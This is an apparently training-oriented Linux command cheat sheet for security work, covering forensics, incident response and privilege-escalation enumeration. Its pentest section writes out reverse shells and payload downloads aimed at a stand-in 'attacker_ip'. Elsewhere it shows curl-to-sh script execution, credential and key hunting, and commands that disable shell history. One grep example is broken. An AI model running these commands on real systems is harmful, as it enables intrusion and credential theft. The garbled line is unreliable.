Linux Commands for Security Practitioners

// Cheat Sheet & Reference  ·  Updated August 2026  ·  CMTA Cyber

Overview

Linux proficiency is non-negotiable for security practitioners. Whether you are a SOC analyst investigating an incident on a Linux server, a pentester enumerating a target system, or a threat hunter working in a Security Onion environment, command line fluency directly impacts your effectiveness.

This reference covers the essential Linux commands organized by use case - from basic file system navigation to forensic artifact collection and privilege escalation enumeration.

// Quick Reference
Use the sidebar to jump to the section you need. All code blocks have a copy button in the top right corner.

File System Navigation & Management

# Navigation
pwd                          # Print working directory
ls -la                       # List all files with permissions
ls -lah                      # Include human-readable sizes
ls -latr                     # Sort by time, oldest first
cd -                         # Go to previous directory
tree -L 2                    # Directory tree 2 levels deep

# File operations
cp -r source/ dest/          # Copy directory recursively
mv file newname              # Move or rename
rm -rf directory/            # Remove directory (use with caution)
mkdir -p path/to/dir         # Create directory with parents
touch file.txt               # Create empty file
ln -s /path/to/file link     # Create symbolic link

# File viewing
cat file.txt                 # Display file contents
less file.txt                # Paginated view (q to quit)
head -n 50 file.txt          # First 50 lines
tail -n 50 file.txt          # Last 50 lines
tail -f /var/log/syslog      # Follow file in real time
xxd file.bin | head          # Hex dump of binary file
strings file.bin             # Extract printable strings

# File information
file suspicious.bin          # Identify file type
stat file.txt                # Detailed file metadata
md5sum file.txt              # MD5 hash
sha256sum file.txt           # SHA256 hash
sha256sum -c hashes.txt      # Verify checksums

# Compression
tar -czf archive.tar.gz dir/ # Create gzip archive
tar -xzf archive.tar.gz      # Extract gzip archive
tar -cjf archive.tar.bz2 dir/ # Create bzip2 archive
zip -r archive.zip dir/      # Create zip archive
unzip archive.zip            # Extract zip

Important Linux Directories for Security

DirectoryContentsSecurity Relevance
/etc/passwdUser accountsEnumerate users, check for new accounts
/etc/shadowPassword hashesOffline cracking if readable (requires root)
/etc/sudoersSudo privilegesPrivilege escalation paths
/etc/cron*Scheduled jobsPersistence mechanisms
/tmp /var/tmpTemp filesCommon malware drop location
/dev/shmShared memoryIn-memory malware, fileless attacks
/proc/Process informationRunning process analysis
/home/*/.ssh/SSH keysLateral movement via stolen keys
/var/log/System logsPrimary forensic evidence source
/etc/init.d/ /systemd/Service definitionsPersistence via malicious services

Networking Commands

# Interface information
ip a                         # Show all interfaces and IPs (modern)
ifconfig -a                  # Show all interfaces (legacy)
ip route show                # Routing table
ip neigh show                # ARP table

# Active connections
ss -tulnp                    # All listening ports with process names
ss -anp                      # All connections with process names
netstat -tulnp               # Legacy equivalent
netstat -anp | grep LISTEN   # Listening services only

# DNS
nslookup domain.com          # Basic DNS lookup
dig domain.com               # Detailed DNS query
dig domain.com ANY           # All record types
dig -x 8.8.8.8               # Reverse DNS lookup
host -a domain.com           # Comprehensive host lookup

# Connectivity testing
ping -c 4 8.8.8.8            # ICMP ping (4 packets)
traceroute 8.8.8.8           # Trace network path
mtr 8.8.8.8                  # Real-time traceroute
curl -I https://target.com   # HTTP headers only
curl -v https://target.com   # Verbose HTTP request
wget -q -O- https://target.com | head  # Fetch and display

# Port scanning (on authorized systems only)
nmap -sV -sC -p- target.com  # Full port scan with versions and scripts
nmap -sU -p 53,161 target.com # UDP scan
nmap -sn 192.168.1.0/24      # Ping sweep (host discovery)
nc -zv target.com 80 443     # Check if ports are open

# Packet capture
tcpdump -i eth0 -w capture.pcap         # Capture to file
tcpdump -i eth0 port 80                  # Filter by port
tcpdump -i eth0 host 192.168.1.100      # Filter by host
tcpdump -i eth0 -nn -X port 53          # Show hex+ASCII for DNS
tcpdump -r capture.pcap                  # Read capture file

# Network file transfers
scp file.txt user@host:/path/ # Secure copy to remote
rsync -avz source/ user@host:/dest/ # Sync files
python3 -m http.server 8080  # Quick HTTP server
nc -lvp 4444 > received.file # Receive file via netcat
nc target 4444 < file.send   # Send file via netcat

Process Management

# Process listing
ps aux                       # All processes with details
ps auxf                      # Process tree (forest view)
ps aux | grep suspicious     # Search for specific process
top                          # Interactive process viewer
htop                         # Enhanced interactive viewer (if installed)
pstree                       # Process tree view

# Process details
ls -la /proc/PID/            # Process directory
cat /proc/PID/cmdline        # Full command line
cat /proc/PID/environ        # Process environment variables
ls -la /proc/PID/exe         # Binary being executed
ls -la /proc/PID/fd/         # Open file descriptors
cat /proc/PID/maps           # Memory mappings

# Process investigation (security)
lsof -p PID                  # Files opened by process
lsof -i :4444                # What's using port 4444
lsof -i TCP                  # All TCP connections with processes
lsof -u username             # Files opened by user

# Process control
kill -9 PID                  # Force kill process
killall processname          # Kill all instances by name
nice -n 10 command           # Run with lower priority
nohup command &              # Run immune to hangups

# Startup and services
systemctl list-units --type=service  # All services
systemctl status service     # Service status
systemctl enable service     # Enable at boot
journalctl -u service        # Service logs
journalctl -xe               # Recent system errors
service --status-all         # Legacy service listing

Users & Permissions

# User information
id                           # Current user and group IDs
whoami                       # Current username
who                          # Logged in users
w                            # Logged in users with activity
last                         # Login history
last -a | grep -v "^$"       # Login history cleaned up
lastb                        # Failed login history (root)
cat /etc/passwd              # All user accounts
cat /etc/group               # All groups
getent passwd username       # User details

# User management (requires appropriate privileges)
useradd -m -s /bin/bash username  # Add user
passwd username              # Set password
usermod -aG sudo username    # Add to sudo group
userdel -r username          # Delete user and home dir
su - username                # Switch to user
sudo -l                      # List sudo privileges

# File permissions
chmod 755 file               # rwxr-xr-x
chmod 644 file               # rw-r--r--
chmod +x script.sh           # Make executable
chmod -R 700 directory/      # Recursive permission set
chown user:group file        # Change ownership
chown -R user:group dir/     # Recursive ownership change

# Permission analysis (security)
find / -perm -4000 2>/dev/null       # SUID files
find / -perm -2000 2>/dev/null       # SGID files
find / -perm -0002 2>/dev/null       # World-writable files
find / -perm -4000 -type f 2>/dev/null  # SUID executables only
find / -nouser 2>/dev/null           # Files with no owner
find / -nogroup 2>/dev/null          # Files with no group

# Sudo configuration
cat /etc/sudoers             # Sudo rules
sudo -l                      # Current user's sudo privileges
visudo                       # Edit sudoers safely

Searching & Grep

# grep - search file contents
grep "pattern" file.txt              # Basic search
grep -i "pattern" file.txt           # Case insensitive
grep -r "pattern" /directory/        # Recursive search
grep -l "pattern" /directory/        # List files containing pattern
grep -n "pattern" file.txt           # Show line numbers
grep -v "pattern" file.txt           # Invert match (exclude)
grep -E "pattern1|pattern2" file.txt # Extended regex (OR)
grep -A 3 -B 3 "pattern" file.txt   # 3 lines before and after
grep -c "pattern" file.txt           # Count matching lines

# Security-relevant grep examples
grep -r "password\|passwd\|secret\|api_key" /var/www/ 2>/dev/null
grep -r "eval\|base64_decode\|system(" /var/www/ 2>/dev/null  # Webshells
grep -r "/dev/null    # PHP in temp dir
grep -iE "cmd\.exe|powershell|wget|curl" /var/log/apache2/access.log

# find - locate files
find / -name "*.php" -newer /etc/passwd 2>/dev/null  # Recently modified PHP
find /var/www -name "*.php" -mtime -1 2>/dev/null    # Modified in last day
find / -name "authorized_keys" 2>/dev/null           # SSH authorized keys
find / -name ".bash_history" 2>/dev/null             # Bash history files
find / -name "*.conf" -readable 2>/dev/null          # Readable config files
find / -size +50M 2>/dev/null                        # Large files
find /tmp /var/tmp /dev/shm -type f 2>/dev/null      # Temp directory files

# awk - field extraction
awk '{print $1}' file.txt            # Print first field
awk -F: '{print $1}' /etc/passwd     # Print usernames
awk '$3 > 1000' /etc/passwd          # UID > 1000 (regular users)

# sed - stream editing
sed -n '100,200p' file.txt           # Print lines 100-200
sed 's/old/new/g' file.txt           # Replace all occurrences
sed '/pattern/d' file.txt            # Delete matching lines

# sort and uniq
sort file.txt | uniq                 # Unique sorted lines
sort file.txt | uniq -c | sort -rn  # Count and sort by frequency
cut -d: -f1,3 /etc/passwd           # Extract fields with delimiter

Forensics Commands

These commands are specifically useful during Linux incident response and forensic investigations. Always work on copies of evidence when possible and document every command executed.

# System information collection
uname -a                     # Kernel version and architecture
hostname                     # System hostname
uptime                       # System uptime
date                         # Current date/time (document in UTC)
timedatectl                  # Timezone and NTP status

# User activity
who                          # Currently logged in
w                            # Logged in users with commands
last -F | head -50           # Login history with full timestamps
lastb -F | head -50          # Failed logins with timestamps
cat /root/.bash_history      # Root command history
cat /home/*/.bash_history 2>/dev/null  # All user history
find / -name ".bash_history" -exec cat {} \; 2>/dev/null

# Process and network snapshot
ps auxf > /tmp/processes.txt         # Capture running processes
ss -anp > /tmp/connections.txt       # Capture network connections
lsof > /tmp/open_files.txt           # Capture open files
netstat -rn > /tmp/routes.txt        # Capture routing table

# File system timeline
find / -newer /tmp/reference_time -type f 2>/dev/null  # Files modified after reference
stat /suspicious/file        # Full metadata including MAC times
ls -la --full-time /var/www/ # Full timestamp listing

# Persistence locations to check
crontab -l                           # Current user crontab
crontab -l -u root                   # Root crontab
cat /etc/crontab                     # System crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
systemctl list-units --type=service  # Running services
ls -la /etc/init.d/                  # Init scripts
find /etc/systemd -name "*.service"  # Systemd service files
ls -la ~/.config/autostart/          # User autostart

# Memory analysis (limited without tools)
cat /proc/PID/maps                   # Process memory map
cat /proc/PID/smaps                  # Detailed memory usage
dd if=/proc/PID/mem bs=1 skip=ADDR count=SIZE of=dump.bin  # Dump memory region
strings /proc/PID/mem 2>/dev/null    # Strings from process memory

# Log preservation
cp -r /var/log/ /evidence/logs/      # Copy all logs
journalctl --no-pager > /evidence/journal.txt  # Export journal
tar -czf /evidence/logs.tar.gz /var/log/  # Archive logs with metadata

# Hash collection for integrity
find /bin /sbin /usr/bin /usr/sbin -type f -exec md5sum {} \; > /evidence/binary_hashes.txt
md5sum /suspicious/file              # Hash suspicious file

Privilege Escalation Enumeration

The following commands are used to identify potential privilege escalation paths on Linux systems. These are essential for both offensive security practitioners during authorized pentests and defensive teams who need to understand what attackers look for.

// Authorized Use Only
Privilege escalation techniques should only be performed on systems you own or have explicit written authorization to test.
# Operating system and kernel
uname -a                     # Kernel version - check for kernel exploits
cat /etc/os-release          # OS version
cat /etc/issue               # OS banner

# Current privileges
id                           # User ID, group IDs
sudo -l                      # Sudo privileges - look for (ALL) NOPASSWD
cat /etc/sudoers 2>/dev/null # Sudoers file if readable

# SUID/SGID binaries
find / -perm -u=s -type f 2>/dev/null  # SUID binaries
find / -perm -g=s -type f 2>/dev/null  # SGID binaries
# Check GTFOBins: https://gtfobins.github.io/

# Writable files and directories
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable -type d 2>/dev/null   # Writable directories
find /etc -writable -type f 2>/dev/null # Writable config files

# Capabilities
getcap -r / 2>/dev/null      # Files with special capabilities

# Cron jobs
crontab -l                   # Current user cron
cat /etc/crontab             # System cron
ls -la /etc/cron.*           # Cron directories
cat /var/spool/cron/crontabs/* 2>/dev/null  # All user crontabs

# Services running as root
ps aux | grep root           # Root processes
cat /etc/init.d/*            # Init scripts
find / -name "*.service" 2>/dev/null  # Systemd services

# Sensitive files
cat /etc/passwd              # All users
cat /etc/shadow 2>/dev/null  # Password hashes (if readable)
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null | grep -v ".pyc"

# Environment variables
env                          # Current environment
cat /etc/environment         # System-wide environment
echo $PATH                   # PATH variable - check for writable dirs

# Network services
ss -tulnp                    # Listening services
cat /etc/hosts               # Hosts file
arp -a                       # ARP cache - other hosts

# Automated enumeration tools
# LinPEAS - comprehensive Linux privilege escalation checker
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh && ./LinEnum.sh

Pentest Essentials

# Reverse shells
# Bash reverse shell
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker_ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat reverse shell (with -e)
nc -e /bin/sh attacker_ip 4444

# Listen for reverse shell
nc -lvnp 4444

# Upgrade shell to fully interactive TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo → fg → reset → export TERM=xterm

# File transfers
# Python HTTP server (on attacker)
python3 -m http.server 8080

# Download on target
wget http://attacker_ip:8080/file.sh
curl http://attacker_ip:8080/file.sh -o file.sh
# If no wget/curl
bash -c 'cat < /dev/tcp/attacker_ip/8080/file.sh' > file.sh

# Chisel - port forwarding through firewall
# Server (attacker)
./chisel server -p 8080 --reverse
# Client (target)
./chisel client attacker_ip:8080 R:socks

# SSH tunneling
ssh -L 8080:internal_host:80 user@pivot  # Local port forward
ssh -R 4444:localhost:4444 user@attacker  # Remote port forward
ssh -D 1080 user@pivot                    # SOCKS proxy

Bash Tips for Security Work

# History and command tricks
!!                           # Repeat last command
!string                      # Repeat last command starting with string
Ctrl+R                       # Reverse search history
history | grep ssh           # Search history
HISTSIZE=0                   # Disable history for session (opsec)
export HISTFILE=/dev/null    # Send history to null (opsec)

# Output manipulation
command 2>/dev/null          # Suppress errors
command > output.txt         # Redirect stdout to file
command 2>&1 | tee log.txt   # Stdout and stderr to file and screen
command | xargs              # Pass output as arguments
command | wc -l              # Count output lines

# Loops for automation
for ip in 192.168.1.{1..254}; do ping -c1 -W1 $ip &>/dev/null && echo "$ip is up"; done

# While loop reading file
while IFS= read -r line; do
  echo "Processing: $line"
done < targets.txt

# Script one-liners
# Check if port is open
(echo >/dev/tcp/host/port) 2>/dev/null && echo "open" || echo "closed"

# Base64 encode/decode
echo "string" | base64
echo "c3RyaW5n" | base64 -d

# URL encode
python3 -c "import urllib.parse; print(urllib.parse.quote('string'))"

# Hex encode
echo -n "string" | xxd -p

# Calculate hash
echo -n "string" | sha256sum
echo -n "string" | md5sum

# Watch a command (repeat every 2 seconds)
watch -n 2 "ss -tulnp | grep 4444"

# Background jobs
command &                    # Run in background
jobs                         # List background jobs
fg %1                        # Bring job 1 to foreground
bg %1                        # Continue job 1 in background
disown %1                    # Detach job from terminal
// Bookmark This
This page is updated regularly. Share it with your team or add it to your browser bookmarks for quick access during engagements and investigations.